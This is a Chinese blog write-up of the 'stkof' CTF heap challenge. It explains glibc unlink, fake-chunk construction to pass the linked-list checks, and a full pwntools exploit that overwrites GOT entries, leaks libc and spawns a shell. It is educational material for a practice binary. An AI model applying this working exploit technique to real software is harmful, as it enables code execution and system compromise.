unlink-stkof
2018/11/16

首先理解下unlink操作

初始三个chunk大小都为0x80

chunk1 chunk2 chunk3
PRE_size __ PRE_size __ PRE_size
SIZE=0x80 SIZE=0x80 SIZE=0x80
FD=next_PRE_size FD=next_PRE_size FD=0x0
BK=0x0 BK=before_PRE_size BK=before_PRE_size
String String String

接着进行unlink操作

令chunk1 FD => chunk3 PRE_size
令chunk3 BK => chunk1 PRE_size

chunk1 chunk2 chunk3
PRE_size __ PRE_size __ PRE_size
SIZE=0x80 SIZE=0x80 SIZE=0x80
FD=next_next_PRE_size FD=next_PRE_size FD=0x0
BK=0x0 BK=before_PRE_size BK=before_before_PRE_size
String String String

执行unlink 后

chunk1 chunk3
PRE_size ____ PRE_size
SIZE=0x80 SIZE=0x80 SIZE=0x80
FD=next_PRE_size FD=next_PRE_size FD=0x0
BK=0x0 BK=before_PRE_size BK=before_PRE_size
String String String

glibc中的保护机制(ubuntu18.04堆有做修改)

if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);
#由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
      malloc_printerr ("corrupted size vs. prev_size");

既然要满足这个条件还要成功利用可以考虑伪造一个chunk从而绕过该检查
32位时

chunk1 fake chunk chunk3
PRE_size __ PRE_size __ PRE_size
SIZE=0x80 SIZE=0x30 SIZE=0x80
FD=next_next_PRE_size FD=ptr-0x12 FD=0x0
BK=0x0 BK=ptr-0x8 BK=before_before_PRE_size
String String String

此时

chunk1 FD = fake_chunk_PRE_size = ptr - 0x12
chunk3 BK = fake_chunk_PRE_size=ptr - 0x8

满足

FD->bk = P 
BK->fd = P

64位时

chunk1 fake chunk chunk3
PRE_size __ PRE_size __ PRE_size
SIZE=0x80 SIZE=0x30 SIZE=0x80
FD=next_next_PRE_size FD=ptr-0x18 FD=0x0
BK=0x0 BK=ptr-0x10 BK=before_before_PRE_size
String String String

此时

chunk1 FD = fake_chunk_PRE_size = ptr - 0x18
chunk3 BK = fake_chunk_PRE_size=ptr - 0x10

满足

FD->bk = P 
BK->fd = P

查看题目 stkof

__int64 sub_400C58()
{
  while ( fgets((char *)&v3, 10, stdin) )
  {
    v0 = atoi((const char *)&v3);
    if ( v0 == 2 )
    {
      v2 = edite(&v3); //creat chunk
      goto LABEL_14;
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        v2 = delete(); // free chunk
        goto LABEL_14;
      }
      if ( v0 == 4 )
      {
        v2 = print(); //print 
        goto LABEL_14;
      }
    }
    else if ( v0 == 1 )
    {
      v2 = alloc(); //creat chunk size
      goto LABEL_14;
    }

}

查看下每一个函数

alloc

fgets((char *)&v3, 16, stdin);
v1 = atoll((const char *)&v3);
v2 = (char *)malloc(v1) //malloc size
if ( !v2 )
  return 0xFFFFFFFFLL;
ptr[++dword_602100] = v2;  //指针存在于全局变量中 跟入++dword_60210即可查看到
printf("%d\n", (unsigned int)dword_602100, v1);

edite

fgets((char *)&v5, 16, stdin);
v2 = atol((const char *)&v5);
if ( v2 > 0x100000 )
  return 0xFFFFFFFFLL;
if ( !ptr[v2] )
  return 0xFFFFFFFFLL;
fgets((char *)&v5, 16, stdin);
v3 = atoll((const char *)&v5);
v4 = ptr[v2];
// 无限制读入大小 可以无限制读入 导致溢出
for ( i = fread(v4, 1uLL, v3, stdin); i > 0; i = fread(v4, 1uLL, v3, stdin) ) 
{
  v4 += i;
  v3 -= i;
}
if ( v3 )
  result = 0xFFFFFFFFLL;
else
  result = 0LL;
return result;

delete

fgets((char *)&v2, 16, stdin);
v1 = atol((const char *)&v2);
if ( v1 > 0x100000 )
  return 0xFFFFFFFFLL;
if ( !ptr[v1] )
  return 0xFFFFFFFFLL;
free(ptr[v1]); //free chunk
ptr[v1] = 0LL;
return 0LL;

那么存在堆溢出 并且无限制creat chunk and chunk size
满足unlink

构造思路

既然知道了需要构造unlink ,所以来屡屡怎么操作
1.至少创建3个chunk(4个也可以,第四个chunk用来写/bin/sh\x00)
2.防止top chunk 合并导致无法利用
3.64位程序 fd bk满足条件

fd = ptr  - 0x18
bk = ptr  - 0x10

4.注意ptr地址位全局变量地址+0x10(gdb调试可以看出)
5.leak出真实函数地址:puts atoi都可以
6.得到system函数地址
7.getshell

pwndbg> x/10gx 0x602140
0x602140:    0x0000000000000000    0x0000000000000000
0x602150:    0x0000000000e05a80    0x0000000000e05aa0
0x602160:    0x0000000000000000    0x0000000000000000
0x602170:    0x0000000000000000    0x0000000000000000
0x602180:    0x0000000000000000    0x0000000000000000

发现指针地址从 0x602150可写
而全局变量地址位 0x602140 所以 ptr地址= 0x602140+0x10

创建4个small chunk

alloc(0x80//idx1 use to leak puts addr
alloc(0x80//idx2  overflow to write a fake chunk 
alloc(0x80//idx3 use to unlink
alloc(0x80//idx4 write /bin/sh\x00

fake chunk 构造

ptr = 0x602140+0x10
fd = ptr -0x18
bk =ptr-0x10
payload = p64(0) #fake_chunk PRE_size
payload += p64(0x30) #fake_chunk size
payload +=p64(fd)#fake_chunk fd
payload +=p64(bk) #fake_chunk bk
payload +='a'*0x10 #fake_string
payload += p64(0x30) #overflow fake_chunk
payload += p64(0x90) #overwrite chunk3 PRE_size
edite(2,payload)
delete(3) #unlink fake chunk, now chunk2*ptr  =&(chunk2*ptr) - 0x18 = ptr-0x10 - 8

fgets接收的字符地址距离rsp 0x24
所以可以构造leak payload

payload1 = 'a'*8+p64(elf.got['free'])+p64(elf.got['puts'])+p64(elf.got['atoi'])
edite(2,payload1) #overwrite 
edite(1,p64(elf.symbols['puts']))# write puts.plt
free(2) #leak puts addr
data = p.recvuntil('OK\n',drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)

接着计算出system地址 以及在chunk4中写入/bin/sh\x00

system = puts - libc.symbols['puts'] + libc.symbols['system']
print hex(system)
#binsh = puts - libc.symbols['puts']+next(libc.search('/bin/sh'))
read_in(1,p64(system)) # free_got => system_got
read_in(4,'/bin/sh\x00')
free_it(4)
p.interactive()

exp

from pwn import *

context.log_level = 'debug'
p = process('./stkof')
elf = ELF('stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def alloc(size):
    p.sendline("1")
    p.sendline(str(size))
    p.recvuntil("OK\n")

def read_in(idx,content):
    p.sendline("2")
    p.sendline(str(idx))
    p.sendline(str(len(content)))
    p.send(str(content))
    p.recvuntil('OK\n')

def free_it(idx):
    p.sendline("3")
    p.sendline(str(idx))

#gdb.attach(p)
ptr = 0x602140 +0x10
alloc(0x60) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
alloc(0x20) # idx 4


payload = p64(0) #fake chunk pre_size
payload += p64(0x30) #fake chunk size
payload += p64(ptr-0x18) #fake fd
payload += p64(ptr-0x10) #fake bk
payload += 'A'*0x10
payload += p64(0x30)#overflow fake chunk
payload += p64(0x90)#overflow next chunk pre_size size

read_in(2,payload)
free_it(3)
p.recvuntil('OK\n')
payload1 = 'a'*16+p64(elf.got['free'])+p64(elf.got['puts'])+p64(elf.got['atoi'])

read_in(2,payload1)
read_in(1,p64(elf.plt['puts']))
free_it(2)

data = p.recvuntil('\nOK\n',drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)


#puts_addr = u64(p.recvuntil("\nOK\n",drop = True).ljust(8,'\x00'))
#print hex(puts_addr)
system = puts - libc.symbols['puts'] + libc.symbols['system']
print hex(system)
#binsh = puts - libc.symbols['puts']+next(libc.search('/bin/sh'))
read_in(1,p64(system)) # free_got => system_got
read_in(4,'/bin/sh\x00')
free_it(4)
p.interactive()

成功getshell 此题只用与学习unlink操作 以及学习glibc保护机制
由于ubuntu18.04中对堆操作进行了修改 所以此unlink.py在ubuntu18.04中无法成功leak 在malloc4个smallchunk后出现和并(继续研究~)

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!